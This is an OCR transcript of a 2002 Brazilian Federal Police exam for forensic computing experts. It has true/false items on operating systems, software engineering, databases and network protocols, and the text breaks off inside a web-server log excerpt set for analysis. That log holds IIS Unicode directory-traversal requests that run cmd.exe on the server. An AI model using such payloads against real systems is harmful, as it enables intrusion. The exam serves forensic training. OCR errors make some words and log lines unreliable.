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INSTRUCOES

1 Este caderno é constituido da prova objetiva de Conhecimentos Especificos.

2 Caso o caderno esteja incompleto ou tenha qualquer defeito, o candidato devera solicitar ao fiscal
de sala mais proximo que tome as providéncias cabiveis.

3 Recomenda-se ndo marcar ao acaso: cada item cuja resposta divirja do gabarito oficial definitivo
acarretarda a perda de 0,20 ponto, conforme consta no Edital n.° 45/2001 — ANP/DRS — DPF, de
31/10/2001.

4 Na&o é permitida a consulta a livros, dicionarios, apontamentos, apostilas, réguas, calculadoras ou
qualquer outro material.

5 Durante a prova, o candidato ndo devera levantar-se ou comunicar-se com outros candidatos.

6 Aduracdo daprova é detrés horas e trinta minutos, ja incluido o tempo destinado a identificacéo
— que sera feita no decorrer da prova — e ao preenchimento da Folha de Respostas.

7 Adesobediénciaaqualquer umadas determinac¢des constantes nas presentes Instru¢des, na Folha
de Rascunho ou na Folha de Respostas podera implicar a anulacdo das provas do candidato.

AGENDA

| 22/1/2002 — Divulgacéo dos gabaritos oficiais preliminares das provas objetivas na Internet — no
endereco eletrénico http://www.cespe.unb.br—; nos quadros de avisos do CESPE/UnB, em Brasilia;
nas Superintendéncias Regionais da Policia Federal das cidades em que foram aplicadas as provas
e na Academia Nacional de Policia, em Brasilia.

Il 23 e 24/1/2002 — Recebimento de recursos contra 0os gabaritos oficiais preliminares das provas
objetivas exclusivamente nos locais que serao informados na divulgacao desses gabaritos.

[l 1.°/3/2002 — Data provavel da divulgacao (ap6s a apreciacao de eventuais recursos), no Diario Oficial
e nos locais mencionados no item I, do resultado final das provas objetivas e do resultado provisério
da prova discursiva.

Observacgoes:

* Nao seréo objeto de conhecimento recursos em desacordo com o estabelecido no item 9 DOS
RECURSOS do Edital n.° 45/2001 — ANP/DRS — DPF, de 31/10/2001.

» Informacdes relativas ao concurso poderao ser obtidas pelo telefone 0(XX)-61-448-0100.

 E permitida a reproducéo deste material, desde que citada a fonte.




MINISTERIO DA JUSTICA (MJ) / DEPARTAMENTO DE POLICIA FEDERAL (DPF)
ACADEMIA NACIONAL DE POLICIA (ANP) / DIVISAO DE RECRUTAMENTO E SELECAO (DRS)
Concurso Publico — Aplicagédo: 19/1/2002

Carco: PERITO CRIMINAL FEDERAL
AREA 3 - COMPUTAGAO CIENTIFICA

Nas questdes de 21 a 50, marque, de acordo com o comando de cada uma delas: itens CERTOS na coluna C; itens ERRADOS na
coluna E. Na Folha de Respostas, a indicagdo do campo SR servira somente para caracterizar que o candidato desconhece a resposta
correta; portanto, a sua marcagdo ndo implicara apenagdo ao candidato. Use a Folha de Rascunho para as devidas marcacOes e,

posteriormente, a Folha de Respostas.

CONHECIMENTOS ESPECIFICOS

QUESTAO 21 1

Os computadores digitais sdo, na realidade, uma evolucdo das
antigasméguinasde cal cular mecanicas. Fortemente embasadosem
tecnologia de eletrénica digital, eles se compdem de uma parte
denominada hardware — a parte fisica do computador — e outra
denominada software — 0s programas ou conjunto de instrucées
que permitem a execucdo das diversas tarefas. Acerca de

computadores digitais, julgue os itens abaixo.

1 Conceitualmente, o que diferencia um computador de uma
calculadora eletrénica programével é a sua capacidade de
armazenar programas e dados em uma unidade de memodriade
massa, usualmente na forma de um disco magnético.

2 A denominada méaguina analitica, concebida em 1833 por
Charles Babbage, um engenheiro e matemético inglés, embora
fosse umaméguina puramente mecanica, continhaos principios
basi cos de um computador moderno. Em funcdo disso, Charles
Babbage é considerado por muitos como Pai da Computacéo.

3 Devido a complexidade atual de sistemas operacionais como
Unix e Windows, é requerido que os computadores modernos
disponham de unidades de disco rigido com pel 0 menosdezenas
de gigabytes de capacidade de armazenamento.

4 O avanco tecnol gico dos Ultimos cinqlienta anos permitiu que
atualmente se disponha, em um Unico chip de computador,
uma capacidade de processamento muito superior a dos
computadores digitais de primeira geragdo, construidos na
década de 50, com gabinetes que ocupavam uma salainteirae
gue consumiam grande quantidade de energia el étrica.

5 Osdenominadosmicrocomputadores sdo aquel escomputadores

gue utilizam uma CPU microprogramada.

QUESTAO 22 1

A programacdo dos primeiros computadores digitais era realizada
em linguagem de méquina, 0 que restringia a poucos iniciados a
qguantidade de programadores, devido a necessidade de
conhecimento profundo dos detalhes da arquitetura da maquina.
Julgue os itens a seguir, relacionados a esse assunto.

1 A criagdo doschamadosprogramas montadores, ou assemblers,
simplificou a tarefa de programacdo de uma méguina,
permitindo que se utilize uma linguagem simbdlica, ou
assembly, para a construcdo de programas a serem
posteriormente convertidos para a linguagem de méaguina pelo
montador. Em func@o de sua ainda estreita relagdo com a
arquitetura da maquina, as linguagens assembly sdo também
especificas para cada tipo de CPU.

2 Compiladores sdo programas capazes de traduzir um programa
escrito em uma linguagem de programacdo de alto nivel, ou
seja, mais proxima de umalinguagem natural eindependente da
arquitetura da méguina, para o cédigo de maguina necessario
paraser executado. Assim, embora, paraescrever um programa
em uma linguagem do tipo C, ndo sga essenciamente
necessario conhecer a arquitetura da maquina em que ele sera
executado, para executalo em uma maquina especifica serd
necessario utilizar também um compilador especifico para
aquele tipo de maquina.

3 Examinando-se o conteldo de uma posicdo qualquer da
meméria principal de um computador, pode-se imediatamente
determinar se aquela posicdo estd sendo ocupada por uma
instrucdo de um programa, ou um enderego referenciado pelo
programa, ou, ainda, um dado do programa, poisessestréstipos
de informag&o tém formatagdes distintas namemaria.

4 O tamanho da palavra bésica utilizada por uma CPU, por
exemplo 16 bits ou 32 bits, é determinante para o tamanho dos
ndmeros que um computador com essa CPU pode manipular.
Assim, em um computador de 32 hits, tem-se sempre maior
precisdo nos célculos que em um computador de 16 bits.

5 Uma caracteristica essencial dos computadores € a sua
capacidade detomar decisdes, modificando o fluxo de execucdo
das instrugdes de um programa em funcdo de resultados
anteriores. Essa caracteristica deve-se ao fato de que as
linguagens de programacdo possuem instrucBes do tipo
IF ... THEN, ou semel hantes.
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QUESTAO 23 1

Sistemas operacionais sd0 essencialmente programas
gerenciadores dos recursos disponiveis em um
computador. Efetivamente, el es determinam amaioriadas
caracteristicas perceptiveis por um usuario da méaguina.
Em funcdo dessas caracteristicas, julgue os itens em

seguida.

1 O MSDOS, utilizado originalmente nos PCs, € um
sistema multitarefas e monousuério. JA 0 Microsoft
Windows, nas versdes NT e 2000, € um sistema
multiusudrios, enquanto nas versdes 9X é um sistema
monousudrio. O Unix € essenciamente um sistema
multitarefas e multiusuarios.

2 Denomina-se Shell uminterpretador de comandos que
realiza a interface entre um sistema operaciona e o
usuério. E por meio do Shell que o usudrio
normal mente passa, ao sistemaoperacional, comandos
dostipos dir, copy e run. Normalmente, os sistemas
operacionaisdo tipo Unix podem dispor demaisdeum
Shell, que pode ser escolhido pelo usuario, conforme
suas preferéncias.

3 O Windows € o Unico sistema operacional a oferecer
um ambiente de janelas, dai a sua popularidade, por
facilitar sua utilizagdo por usuarios leigos.

4 Os sistemas operacionais modernos geralmente tém
umaconfiguracdo-padréo deinstalacdo, em quealguns
USU&rios e servigosjaestio predefinidos. E importante
se manter essa configuracdo-padrdo, eventua mente
acrescentando-se outros usudérios e servigos, conforme
necess&rio, para possibilitar a readlizacdo de
atualizacbes do sistema que venham a ser
disponibilizadas pel os fabricantes ou fornecedores.

5 O controle de acesso aos recursos de um sistema
computacional €essencial paraasegurancado mesmo.
Quando essa é uma preocupacdo, é importante a
utilizacdo de um sistema operacional que disponha de
mecani smos proprios para o estabelecimento de uma
politicade controlede acesso. Nesse sentido, aescolha
de um ambiente Windows NT/2000 ou Unix é
preferivel a um ambiente MS-DOS ou Windows 9X,

guando seguranca € um ponto a considerar.

QUESTAO 24 1

Os ambientes de computagcdo e de comunicacdo da informagdo vém-se
caracterizando por aportar a flexibilidade e as funcionalidades necessérias
aum bom desempenho e a obtenc&o da qualidade nas empresas no ambiente
de negdcios e nas organizagbes em geral, exigindo assm abordagens
préprias de plangjamento, projeto, implementacdo e suporte, abordagens
essas ligadas as caracteristicas negociais e organizacionais. Acerca dessas
abordagens e da correlacdo entre sistemas de tratamento e comunicagéo da
informagdo com os processosnegociaiseorganizacionais, julgueositensque
se seguem.

1 Uma arquitetura de dados que prové o contexto para atendimento as
necessi dades deinformac&o de um determinado negécio deveidentificar
0s obj etos de dados usados nesse negdcio e delimitar os atributos desses
objetos, bem como as relagBes entre objetos.

2 Umaarquiteturade aplicacdes apropriada paraum negdcio deve limitar-
se aos elementos de software e de tecnologias da informagéo e das
comunicagdes necessarios para 0 tratamento das informagbes da
arquitetura de dados, de modo a atender aos propdésitos do negdcio em
questéo.

3 O plangamento de uma estratégia de informagdes deve apresentar uma
abordagem hierdrquica que permita a andlise tanto das necessidades
globais de informag@o do negdcio, quanto das necessidades de cada
dominio particular que componha o negécio.

4 No contexto do plangiamento da estratégia de informagfes, um dos
problemas especificos da andlise de necessidades informacionais € a
delimitac&o de escopo dos sistemas de informagéo e comunicagéo.

5 Naandlise de necessidades de informacdo, constata-se que, embora 0s
usuarios tenham um entendimento completo das necessidades e do
dominio do problema negocial, tais usuarios de sistemas de informacao
tém dificuldade em comunicar suas necessidades aos engenheiros de
sistemas e terminam por especificar 0s requerimentos de maneira
ambigua e sem critérios claros de verificagéo.

QUESTAO 25 |

Nas arquiteturas de sistemas de informagdo modernos, integrando acesso,
transporte, processamento e armazenamento da informagdo, um importante
papel cabe ao middleware, 0 assim denominado software subjacente as
aplicacBes e que inclui fungdes de comunicagdo, controles operacionais,
€lementos de geréncia e de seguranca, suporte a programagao e a operagdo
dos sistemas distribuidos etc., elementos fundamentais as arquiteturas
modernas de sistemas do tipo cliente-servidor, com duas ou trés camadas, e
sistemas distribuidos de uma maneirageral. Acerca dos diversos el ementos
de middleware e dessas possiveis arquiteturas, julgue os seguintes itens.

1 Um exemplo de middleware considerado fundamental a seguranca nos
sistemas de arquitetura WWW s80 0s secure sockets que permitem as
aplicacBesusufruir deservicosde segurancarel ativosaautentificagdo das
partes comuni cantes, a integridade e a confidencialidade dos dados.

2 Os objetos distribuidos, associados com a tecnologia CORBA,
caracterizam-sepor exigir homogenei dadedalinguagem deprogramagdo
utilizada no desenvolvimento desses objetos.

3 Emumaarquitetura cliente-servidor a duas camadas, o middleware tem
0 papel de prover a interoperagdo entre a camada de servidor de
aplicacdo e a camada de banco de dados.

4 Normalmente, uma arquitetura cliente-servidor a trés camadas é usada
quando h& pouco processamento a ser feito sobre os dados.

5 Uma arquitetura cliente-servidor a trés camadas caracteriza-se por
impossibilitar que acamadaintermediaria, também denominadacamada
de servidor de aplicacdo ou camada de processamento, resida no mesmo
sistema servidor da camada de banco de dados.
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QUESTAO 26 1

Técnicas de reengenharia de sistemas vém sendo incorporadas
sistemati camente a prati ca corrente da engenharia de software, em
especia devido ao suporte oferecido pelas modernas ferramentas
CASE a esse tipo de técnica. Assim, as técnicas de engenharia
direta e reversa, de reestruturacéo de cédigo e de documentacdo
integram-se as técnicas de gestdo de configuragdo, documentacéo
erequisitos, entre outras. Em atividades de auditoria de sistemas, a
utilizac8o de técnicasde reengenhariaassistidapor umaferramenta
CASE pode ser bastante Gtil para revelar detalhes internos de
sistemas existentes, muitas vezes ocultos na documentacdo
disponivel, bem como auxiliar na identificagdo de alteragdes de
configurac&o, documentacdo e especificacdo de requisitos desses
sistemas. Acercadautilizag@o detécnicasdereengenhariaassistidas
por ferramentas CASE em auditoria de sistemas, julgue ositens a
seguir.

1 Quando adocumentacdo de um programa ou sistema ndo esta
disponivel, é suficiente realizar uma engenharia reversa
autométicaa partir do codigo-fonte para descobrir quais sdo as
suas principaisfuncionalidades e aseméanticade suas estruturas
de dados internas mais importantes. Entretanto, os detalhes de
implementacdo internos a cada funcionalidade ndo podem ser
revelados ou evidenciados com esse tipo de técnica.

2 A engenharia direta, a partir da documentacdo e dos modelos
existentes em ferramenta CASE, pode ser usada para gerar a
estrutura basica do cdodigo-fonte correspondente a esses
modelos. Tal cadigo, gerado automaticamente, pode ser usado
em termos comparativos com o codigo-fonte do programa que
esta sendo analisado, com o objetivo de identificar diferencas
entre as especificagdes constantes da documentacdo e as
estruturas realmente implementadas.

3 AlteracBes maliciosas em programas podem ser detectadas
automaticamente com o emprego sistemético de ferramentas
adequadas de controle de versdo, que mantém indicadores de
integridade do cddigo-fonte e do codigo executavel ou que
podem determinar diferencasentreversdesanterioresexistentes
em copias de seguranca e em versdes mais novas.

4 Ferramentas de controle de versdo, que mantém controle de
alteracbes embasado nos registros de datas de modificacdo e
exclusdo de arquivos integrados e mantidos pelo sistema
operacional, geram informacdes e revelam, sem equivocos, a
ocorréncia de alteragdes em qualquer arquivo do projeto,
mesmo que a natureza da alteracdo ndo possa ser claramente
identificada.

5 Registros de log gerados pelas ferramentas CASE, quando de
Seu uso sistematico no desenvolvimento de sistemas, auxiliam
na descoberta de trilhas de auditoria de modificagdes nesses
sistemas.

QUESTAO 27 1

A gestéo de projetos de engenharia de software, além de envolver
heuristicas relacionadas as boas préticas de gestéo de recursos e de
pessoal, envolve cadavez maisadefinicéo eaaplicacdo sistematica
de métricas objetivas para avaliagdo e acompanhamento da
evolugdo dos riscos, da quaidade e do préprio ciclo de vida
(processo) do software. Acerca das métricas de projeto, julgue os
itens que se seguem.

1 Métricas relacionadas a tamanho de cédigo-fonte sio
sistematicamente aplicadas e Uteis. Entretanto, esse tipo de
meétrica ndo pode ser utilizado para a realizacdo de medidas
comparativas entre projetos que utilizem linguagens de
programacéo diferentes.

2 Meétricas de qualidade s6 podem ser definidas em termos
de par@metros subjetivos de quaidade. Assim, tais
métricas devem ser avadiadas na forma de questionérios
aplicados sistematicamente aos usu&rios do sistema em
desenvolvimento.

3 A estimativade pontos de fungéo para um sistema ou médulo a
ser construido é realizada com o objetivo de dimensionar os
recursosfinanceiros e os prazos estimados paraarealizacdo das
etapas do projeto.

4 A avaliagdo de riscos consiste em avaliar objetivamente quais
0s possiveis prejuizos decorrentes do ndo-atendimento das
especificagdes para os requisitos do projeto.

5 O produto daprobabilidade de sucesso de uma etapa do projeto
por uma variavel que dimensione o impacto (financeiro e(ou)
temporal) relacionado ao ndo-cumprimento da etapa define
objetivamente o risco associado a essa etapa.

QUESTAO 28 1

A geréncia de configuracdo e o controle de versdes constituem
processos fundamentais do desenvolvimento de software. Acerca
desses processos e das técnicas a eles associadas, julgue ositens a

seguir.

1 A configuragdo de um software é constituida de trés grandes
classes de itens. os programas-fonte e executaveis, 0s
documentos que descrevem tais programas e os dados internos
eexternosnecessari 0saoperacionalizagdo dos programas, itens
esses que compreendem ainformacdo produzida como parte do
processo de engenharia do software.

2 Congtata-se para os softwares de ciclo de vida longo que, a
medida que o software evolui, a quantidade de itens de
configuragdo se estabilizaapartir de determinado momento do
ciclo devida.

3 Opadrdo |IEEE Std. 610.12-1990 define o conceito de baseline,
gque se trata de uma especificacdo (ou qualquer produto
resultante do desenvolvimento) que foi revista formalmente e
obteve aprovacdo, podendo assim servir de referéncia ou base
paranovos desenvol vimentos, e que s pode ser modificada por
intermédio de procedimentos formais de controle de
modificactes.

4 S&o tarefas basicas da geréncia de configuracdo aidentificacdo
de itens de configuragdo, o controle de versdes, o controle de
modificacles, aauditoriade configuragdo e o relatdrio de status
de configuracao.

5 Por ser um processo que se caracteriza por exigir um grau de
inteligéncia muito ato, constata-se que praticamente ndo
existem ferramentas de automac&o dagerénciade configuragéo,
ainda que existam ferramentas especificas restritas ao controle
de versdes.
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QUESTAO 29 1

Os SGBDs constituem elementosimportantes naarquiteturados
sistemas deinformag&o atuais. Esses sistemas implementam, de
acordo com as suas caracteristicas proprias easuaconfiguracdo,
servicos que vao desde amani pul agdo e o armazenamento fisico
dos dados até€ a gestdo de segurancadasinformacfes. Assim, 0s
sistemas de informagdo podem ser concebidos utilizando
recursos e servicos disponiveis nos SGBDs e delegando para
estes boa parte de suas funcionalidades. Portanto, arecuperacéo
e a auditoria de sistemas de informagdo podem depender,
também, muitasvezes, deferramentase servigosde auditoria, de
recuperacdo de dados ou da geréncia de seguranca disponiveis
nos SGBDs utilizados. Acerca da utilizagc&o de ferramentas e
servicos de auditoria, recuperacdo e gestdo de seguranca dos
principais SGBDs, julgue os itens subsequientes.

1 Em sistemas de bancos de dados de acesso concorrente, a
manutencdo de jornais para as operacfes em andamento
permite a recuperacdo do estado anterior a0 de uma
operacdo, caso ocorra uma falha durante a execugdo dessa
operacao.

2 0Os SGBDs modernos nada mais sdo que sofisticados
sistemas de control e de acesso embasado em uma politicade
seguranca definida em termos de perfis de usuérios.

3 Todos os eventos relativos a tentativas de execucdo de
operaces ndo-permitidas explicitamente pela politica de
segurancga geram registros nos sistemas de log dos SGBDs
modernos. Tais informagdes sdo fontes Uteis para a
identificac8o detentativas de ataques a sistemas de banco de
dados.

4 Ataques a sistemas de bancos de dados por abuso de
privilégios sdo possiveis em sistemas com uma politica de
acesso pouco restritiva. A identificagdo desses atagques a
partir dos sistemas de auditoriae deregistro (log) do SGBD
€ normalmente dificil, uma vez que operagdes permitidas
pela politica de seguranca jamais geram registro.

5 O armazenamento fisico das informacdes pelos SGBDs é
feito normalmente na forma de arquivos com formatos
préprios, fazendo que a recuperagdo das informagdes,
guando da danificacdo dos arquivos e da auséncia de cOpias
de seguranca, necessite de conhecimento apropriado dos
formatos de armazenamento fisico. Emtal tipo defalha, nem
sempre arecuperacdo completa das informagdes € possivel,
podendo ser nula, dependendo dos setores do arquivo que
tenham sido danificados.

QUESTAO 30 1

A seguranca de um banco de dados e a protecdo da informacéo
armazenada sdo fatores fundamentais na escolha da arquitetura do
banco de dados, dosmodel os|égicosefisicosutilizados, bem como na
definicdo de restricdes e de critérios de acesso que devem ser
associados a utilizagdo das linguagens de consulta, assuntos que sdo
inclusive objeto de exigénciasde grandes organismosconsumidoresde
software, assim como de governos de diversos paises. Acerca das
correlacBes entre a protecdo dos bancos de dados e das informagdes e
as escolhas estruturais e funcionais para a utilizagdo dos bancos de
dados, bem como de exigéncias aplicaveis no mercado internacional,
julgue os itens seguintes.

1 Os SGBDs modernos tipicamente suportam pelo menos uma
abordagem de seguranca de dados, seja ela uma abordagem de
controle discricionério, sgja de controle mandatério.

2 Nocontrole mandatério, cadaobjeto armazenado éassinalado com
um certo nivel declassificagdo, enquanto acadausuario éatribuido
um nivel de liberagdo. Um determinado objeto s6 poderd ser
acessado por usuérios com aliberagéo apropriada.

3 Paraque o sistema de banco de dados possa checar se uma dada
solicitagdo de acesso est& de acordo com as regras de seguranca
aplicaveis, é suficiente que se especifique o objeto solicitado e 0
usuario solicitante, para efeito de andlise pelo subsistema de
autorizacdo do SGBD.

4 Como ndo se pode assumir que o sistema de seguranca € perfeito,
uma préticafundamental éaestruturacdo deumatrilhadeauditoria
para examinar o que vem acontecendo e verificar se aguma
operacdo ou sequéncia de operacBes provocou violacdo da
seguranca.

5 Um dos possiveis atagues que devem ser evitados pelos
subsistemas de protegdo dos bancos de dados é o ataque por
inferéncia, em que, a partir das respostas a consultas autorizadas,
0 atacante procura inferir uma resposta a uma consulta que ndo
seria autorizada. A identificagdo e a eliminagdo desses atagques é
umtipo de controle mandatério exigido parasistemas de bancosde
dados da classe C, segundo a classificagdo do Orange Book do
Departamento de Defesa dos Estados Unidos da América.

QUESTAO 31 1

O desenvolvimento de sistemas de informagdo concebidos para
emprego e utilizacdo de arquitetura Web acarreta um conjunto de
requisitos para as fases de projeto (design) e de implementacdo do
ciclo de vida do software. Esses requisitos precisam ser considerados
desde as fases de andlise e concepgdo dos sistemas, além de
influenciarem na definicdo da metodologia e da abordagem de
desenvolvimento aserem seguidas. Julgue ositens seguintes, acercade
metodologias de desenvolvimento de sistemas e de requisitos de
projeto e implementacéo para sistemas com arquitetura Web.

1 A utilizagdo de técnicas de orientacdo a objetos é imperativa para
0 projeto de interfaces, ainda que esse ndo seja necessariamente o
caso para o projeto de banco de dados.

2 Métodos de projeto de sistemas hibridos, incorporando conceitos
da concepcdo estruturada e da concepcdo por objetos,
simultaneamente, ndo sdo raros, ainda que existam caracteristicas
conflitantes entre os dois tipos de metodol ogias.

3 A engenharia de sistemas deve considerar a definicdo de um
ambiente de comunicagéo e operagdo em rede, pois é impossivel
obter, com uso de tecnologia Web, um sistema que possa ser
executado em um Unico computador hospedeiro.

4 Umrequisitotipico paraprojeto de sistemasparaambientesdo tipo
Web é aimplementacdo de interfaces em linguagem HTML e suas
principais extensoes.

5 O ciclo de vida de desenvolvimento de um software com
arquitetura\Web ndo precisaser necessariamente diferentedo ciclo
de vida de um sistema stand alone.
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QUESTAO 32 1

Muitas das principais linguagens de programagao da atualidade
s8o linguagens cujasregras sintéti cas e seménticasincluemregras
explicitas para o emprego de tipos de dados elementares e
estruturascompostasederivadas. Acercadautilizacgo detiposde
dadoseestruturasnaslinguagensde programacao freqlientemente
usadas na atualidade, julgue 0s seguintes itens.

1 EmJava2™ e em ANSI/ISO C++, a conversdo (casting)
entre tipos elementares para representacdo de varidveis
numéricas é geramente automética, mas deve ser anotada
explicitamente sempre que existir a possibilidade de reducéo
de preciséo.

2 A paavra-chave class € usadaparadefinir tiposderivadosem
Javae em C++, duaslinguagens orientadas a objetos. Defato,
tais tipos constituem as principais estruturas dos programas
orientados a objetos, escritos nessas linguagens.

3 N&o existem ponteiros em Java, tipos encontrados
freqUentemente em programas C/C++, mastipos equivalentes
aponteiros sdo construidos pela utilizagdo de referéncias em
Java.

4 Em C++, o casting de qualquer tipo de ponteiro paravoid* é
permitido. Entretanto, esse recurso estd cada vez mais em
desuso, ap0s a introdugdo do suporte a Run Time Type
Information em C++.

5 Ponteiros parafungdes sdo recursos dalinguagem C/C++ que
permitem enderecar trechos de codigo executavel.

QUESTAO 33 |

A construcdo e a utilizagdo de cadigos-fonte de programas de
computador possuem caracteristicasdiferentesemfuncdo do tipo
de linguagem. Assim, o0 uso de cada linguagem esta ligado ao
emprego de ferramentas especificas para a interpretacdo e a
execucdo do codigo-fonte. Acerca da maneira como os codigos-
fonte das principais linguagens de programagéo sdo utilizados
para a geracdo de programas de computador e acerca das
ferramentas disponiveis para essa finalidade, julgue os itens
abaixo.

1 Compiladores para linguagens C, C++, Pascal e Java néo
geram codigo executavel.

2 Montadores sdo compiladoresparalinguagensdebaixo nivel,
mas, ao contr&rio destes, geram cddigos que podem ser
carregados diretamente em memaria e executados.

3 Ligadoressdo, por definicdo, utilizadosparaconstruir, apartir
de fragmentos disuntos de cddigo-objeto, seguimentos
enderecaveis que constituem unidades autbnomas e
independentes de execucso.

4 Interpretadoresde comandossdo maguinasvirtuaisquegeram
codigo executavel diretamente apartir do codigo-fonte, como
€ 0 caso de interpretadores PERL e Java.

5 Extensdesde HTML permitem embutir elementos de cédigo
JavaemunidadesHTML, que séo compilados einterpretados
no lado cliente, no caso de applets, eno lado servidor, no caso
de serviets. Alternativamente, JavaScript e JSP permitem a
elaboracdo de cddigos com sintaxe bastante semelhante a da
linguagem Java, mas que podem ser executados sem
compilacdo prévia, respectivamente nos lados cliente
(navegadores) e servidor de aplicacfes distribuidas.

QUESTAO 34 1

A integridade da informac&o é considerada uma das propriedades
fundamentai s da segurancadainformagéo. Os protocolosderedesde
comunicagdo, com o objetivo de garantir aintegridade dainformacdo
durante as comunicagdes, empregam varios procedimentos
especificos quetrabalham com base em campos de control edefinidos
dentro das proprias unidades de dados dos protocol os, aexemplo dos
camposdestinadosaseqiienciamento dainformag&o, reconhecimento
das transmisses e verificacdo de erros de transmissdo. Acerca dos
campos de verificagdo de erros nos protocolos de redes, julgue os
itens a seguir.

1 Noscasosde utilizagdo de cédigosderedundanciaciclica(CRC),
dados os blocos de bits da mensagem, o transmissor gera uma
seqiiéncia de verificagdo de erros de quadro (FCS), que é
acrescentada a mensagem original, de tal modo que a mensagem
resultante é exatamentedivisivel por um ndimero predeterminado.
Cabe ao receptor fatorar a mensagem e descobrir esse nimero,
considerando a mensagem correta caso tenha sucesso na
fatoragdo.

2 Oquadrodo MAC ethernet 802.3 a10 Mbpspossui um campo de
verificagdo FCS, com cadigo de redundancia ciclica de 32 hits,
calculado sobre todos os demais campos, exceto o campo de
predmbulo do quadro.

3 Nos pacotes IP, o campo denominado header checksum, de
16 bits, é aplicado somente ao cabegalho dos pacotes e deve ser
verificado e recalculado em cada roteador, posto que alguns
campos do cabecalho IP podem ser modificados durante o
trénsito.

4 Posto que o protocolo UDP néo oferece garantia de entrega das
mensagens, 0 campo de checksum dos datagramas UDP ndo é
utilizado para verificacdo de integridade, sendo colocado na
unidade de transmissdo apenas para manter a mesma formatagéo
do checksum do TCP.

5 NascélulasATM, o campo de 8 bitsheader error control (HEC),
calculado a partir de apenas 32 bits do restante do cabecalho,
permite tanto a deteccdo de erros, quanto, em alguns casos, a
correcdo deles.

QUESTAO 35 1

Reconhecendo que a seguranca do protocolo IP é um importante
aspecto no contexto de uma rede segura com arquitetura TCP/IP, o
IETF vem publicando vérias RFCs que definem uma capacidade
especifica de seguranca no nivel IP  (IPSec), incluindo
funcionalidades de autentificacdo e de confidencialidade como
extensfes para esse protocolo has suas versdes 4 e 6. Acerca do
IPSec, julgue os itens abaixo.

1 Um conceito-chave que aparece tanto nos mecanismos de
autentificacdo, quanto de confidencialidade do IPSec é a
associagdo de seguranca. Uma associacdo desse tipo consiste em
um relacionamento bidirecional entre um transmissor e um
receptor.

2 O mecanismo de authentication header (AH) do IPSec prové
suporte tanto para a integridade dos dados, quanto para a
autentificacdo dos pacotes I P.

3 O suporte alPSec é opcional em IPv4 e |Pv6.

4 Para efeito do AH, os dados de autentificacdo sdo calculados
sobre o pacote IP integral, excluindo qualquer campo gque possa
ser modificado em trénsito. Tais campos sdo considerados como
bits zero para o propésito de céalculos nos pontos de origem e
destino.

5 O mecanismo de encapsulating security payload (ESP) prové
suportetanto aintegridade quanto aconfidenciaidade dospacotes
IP. Em func¢do de requisitos de aplicacéo, esse mecanismo pode
ser usado para cifrar tanto 0 segmento da camada de transporte
(TCPeUDP, por exemplo), quanto o pacote I Pinteiro, sendotais
modos de utilizagdo conhecidos, respectivamente, como ESP em
modo transporte e ESP em modo tlnel.
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Texto CE — questdes de 36 a 38
Os trechos abaixo foram retirados de um arquivo de log referente a acessos a um servidor http.

atackerl.nowhere.com - - [01/Nov/2000:18:20:49 +0000] "GET
/scripts/..%CO0%AF../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 306
atacker2.nowhere.com - - [11/Jan/2001:09:24:05 +0000] "GET

[scripts/..%c0%af .. %c0%af ..%c0%af ..%c0%af .. %c0%af ..%c0%oaf .. %c0%af ..%6c0%

af lwinnt/system32/cmd.exe?/c%20dir HTTP/1.1" 404 344

atacker2.nowhere.com - - [11/Jan/2001:09:24:05 +0000] "GET

fiisadmpwd/..%c0%af .. %c0%af ..%c0%af .. %c0%af ..%c0%af .. %c0%af ..%c

0%af ..%c0%af /winnt/system32/cmd.exe?/c%20dir HTTP/1.1" 404 346
atacker2.nowhere.com - - [11/Jan/2001:09:24:06 +0000] "GET

/msadc/..%c0%af ..%c0%af ..%c0%af ..%c0%af .. %c0%af ..%c0%af ..%c0%af .. %c0%0af/
winnt/system32/cmd.exe?/c%20dir HTTP/1.1" 404 342

atacker2.nowhere.com - - [11/Jan/2001:09:24:06 +0000] "GET /cgi-
bin/..%c0%af..%c0%af ..%c0%af ..%c0%af .. %c0%af ..%c0%af ..%c0%af .. %c0%oaf /wi
nnt/system32/cmd.exe?/c%20dir HTTP/1.1" 404 344

atacker2.nowhere.com - - [11/Jan/2001:09:24:06 +0000] "GET

1_vti_bin/..%c0%af ..%c0%af .. %c0%af ..%c0%af .. %c0%af ..%0c0%af .. %c0%af ..%c0
Y%af /winnt/system32/cmd.exe?/c%20dir HTTP/1.1" 404 345

atacker2.nowhere.com - - [11/Jan/2001:09:24:06 +0000] "GET

Iwwroot/..%c0%af ..%c0%af .. %c0%af ..%c0%af .. %c0%af ..%c0%af .. %c0%af ..%c0%
af/winnt/system32/cmd.exe?/c%20dir HTTP/1.1" 404 344

atacker3.nowhere.com - - [19/Jan/2001:08:18:37 -0200] "GET

/scripts/..%c0%af ../winnt/system32/cmd.exe?/c+dir+c: HTTP/1.0" 404 461
atacker3.nowhere.com - - [19/Jan/2001:08:18:37 -0200] "GET
[scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c: HTTP/1.0" 404 461
atacker4.nowhere.com - - [22/Jan/2001:21:19:27 -0200] "GET

/IISADMPWD/..%c0%af ..%c0%af .. %6c0%af ..%c0%af .. %6c0%af ... %c0%af ..%6c0%af .. %
c0%af /winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 200 607

atacker4.nowhere.com - - [22/Jan/2001:21:19:49 -0200] "GET

/ISADMPWD/..%c0%af ..%c0%af .. %6c0%af ..%c0%af .. %6c0%af ... %c0%af ..%6c0%af .. %
c0%af /winnt/system32/cmd.exe?/c+dir+c.d:\ HTTP/1.0" 502 283
atacker4.nowhere.com - - [22/Jan/2001:21:20:08 -0200] "GET

/ISADMPWD/..%c0%af ..%c0%af .. %c0%af ..%6c0%0af .. %c0%af ... %c0%af ..%c0%af .. %
c0%af /winnt/system32/cmd.exe?/c+dir+d:\ HTTP/1.0" 200 342

atacker4.nowhere.com - - [22/Jan/2001:21:20:25 -0200] "GET

/ISADMPWD/..%c0%af ..%c0%af .. %c0%af ..%c0%0af .. %c0%af ... %c0%af ..%c0%af .. %
c0%af /winnt/system32/cmd.exe?/c+dir+e\ HTTP/1.0" 200 543

atacker5.nowhere.com - - [23/Jan/2001:04:28:41 -0200] "GET

/ISADMPWD/..%c0%af ..%c0%af ..%6c0%af ..%c0%af .. %6c0%af ... %c0%af ..%6c0%af .. %
c0%af /winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.1" 200 607

atacker5.nowhere.com - - [23/Jan/2001:04:29:00 -0200] "GET

